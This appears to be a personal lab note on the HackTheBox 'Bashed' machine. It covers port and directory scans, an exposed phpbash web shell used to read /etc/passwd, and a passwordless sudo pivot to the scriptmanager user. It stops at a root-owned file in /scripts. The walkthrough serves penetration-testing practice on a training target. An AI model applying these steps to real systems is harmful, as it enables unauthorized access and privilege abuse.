Kzk's garden

Machine - Bashed - Easy - Linux

2 min read

Machine - Bashed - Easy - Linux

80/tcp open  http    syn-ack ttl 63

Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-20 17:25 CEST
Nmap scan report for 10.10.10.68
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

in the webpage, talks about a phpbash project, like an shell interface…

lets wfuzz

000000164:   301        9 L      28 W       312 Ch      "uploads"
000000338:   301        9 L      28 W       308 Ch      "php"
000000550:   301        9 L      28 W       308 Ch      "css"
000000834:   301        9 L      28 W       308 Ch      "dev"
000000953:   301        9 L      28 W       307 Ch      "js"
000002771:   301        9 L      28 W       310 Ch      "fonts"

in the php folder there is a http://10.10.10.68/php/sendMail.php in the js folder there is a js, that actually sends a json via post to the sendMail.php

 var params = {
            'action': 'SendMessage',
            'name': jQuery('#name').val(),
            'email': jQuery('#contact-email').val(),
            'subject': jQuery('#subject').val(),
            'message': jQuery('#message').val()
        };
        jQuery.ajax({
            type: "POST",
            url: "php/sendMail.php",
            data: params,
            success: function (response) {
                if (response) {
                    var responseObj = jQuery.parseJSON(response);
                    if (responseObj.ResponseData)
                    {
                        alert(responseObj.ResponseData);
                    }
                }
            },

in the dev folder we found the phpbash.php - we got a shell!

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false  
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false  
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false  
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false  
syslog:x:104:108::/home/syslog:/bin/false  
_apt:x:105:65534::/nonexistent:/bin/false  
messagebus:x:106:110::/var/run/dbus:/bin/false  
uuidd:x:107:111::/run/uuidd:/bin/false  
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash  
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash

User www-data may run the following commands on bashed:  
(scriptmanager : scriptmanager) NOPASSWD: ALL
  • we did a reverse shell to better work with a terminal
$ sudo -u scriptmanager bash
sudo -u scriptmanager bash
  • there is a /scripts folder that has a test.py that writes to a file test.txt. but the test.txt is owned by root :thinking:

Graph View

Backlinks